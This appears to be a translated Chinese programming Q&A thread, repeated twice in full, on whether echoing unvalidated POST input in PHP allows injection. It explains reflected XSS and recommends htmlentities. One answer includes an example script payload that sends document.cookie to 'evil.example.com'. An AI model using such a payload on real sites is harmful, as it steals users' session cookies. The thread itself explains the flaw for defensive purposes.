PHP 文件包含
PHP File Inclusion
我有一个文本框,用户可以在其中输入一个值,然后 PHP 脚本会回显它。文本框通过 POST
发送到服务器并保存在名为 Temp.
的变量中
如果我使用以下行创建输出脚本,假设没有进行任何验证,echo 是否会阻止文件包含或任意 PHP 注入?
<?php echo $Temp; ?>
没有。我可以在输入中输入恶意 javascript 代码,浏览器会在您查看使用 <?php echo $Temp; ?>
生成的页面时执行该代码
mkaatman 的回答可能会也可能不会解决您的问题。 Javascript 是客户端,因此没有发生任何服务器端恶意行为。如果用户将恶意内容放入您回显给他们的文本框中,他们只会在客户端影响他们自己。
换句话说,如果您所做的只是存储和回显,PHP 将不会执行用户在该变量中输入的内容。不会对服务器造成任何伤害...我认为这就是您要问的
典型的xss漏洞
阅读更多 here
因此,请务必在收到任何用户输入后立即对其进行过滤。
php 有很好的类型转换,如 (string)$Temp
和上面提到的 htmlspecialchars()
和 htmlentities()
这是一个经典的反射Cross Site Scripting漏洞。注入的代码不会在服务器上执行。
恶意用户可能会设置他们自己的站点以 POST 到您的表单。发布的值可能类似于
<script>
new Img().src = 'https://evil.example.com?' + escape(document.cookie);
</script>
当登录到您网站的用户访问恶意页面时,攻击者将检索您网站的用户 cookie(以及任何未标记为 HttpOnly 的 cookie)。
要缓解这种情况,请执行以下操作:
<?php echo htmlentities($Temp); ?>
这会将任何脚本显示为 HTML 而不是执行它。
我有一个文本框,用户可以在其中输入一个值,然后 PHP 脚本会回显它。文本框通过 POST
发送到服务器并保存在名为 Temp.
如果我使用以下行创建输出脚本,假设没有进行任何验证,echo 是否会阻止文件包含或任意 PHP 注入?
<?php echo $Temp; ?>
没有。我可以在输入中输入恶意 javascript 代码,浏览器会在您查看使用 <?php echo $Temp; ?>
mkaatman 的回答可能会也可能不会解决您的问题。 Javascript 是客户端,因此没有发生任何服务器端恶意行为。如果用户将恶意内容放入您回显给他们的文本框中,他们只会在客户端影响他们自己。
换句话说,如果您所做的只是存储和回显,PHP 将不会执行用户在该变量中输入的内容。不会对服务器造成任何伤害...我认为这就是您要问的
典型的xss漏洞
阅读更多 here
因此,请务必在收到任何用户输入后立即对其进行过滤。
php 有很好的类型转换,如 (string)$Temp
和上面提到的 htmlspecialchars()
和 htmlentities()
这是一个经典的反射Cross Site Scripting漏洞。注入的代码不会在服务器上执行。
恶意用户可能会设置他们自己的站点以 POST 到您的表单。发布的值可能类似于
<script>
new Img().src = 'https://evil.example.com?' + escape(document.cookie);
</script>
当登录到您网站的用户访问恶意页面时,攻击者将检索您网站的用户 cookie(以及任何未标记为 HttpOnly 的 cookie)。 要缓解这种情况,请执行以下操作:
<?php echo htmlentities($Temp); ?>
这会将任何脚本显示为 HTML 而不是执行它。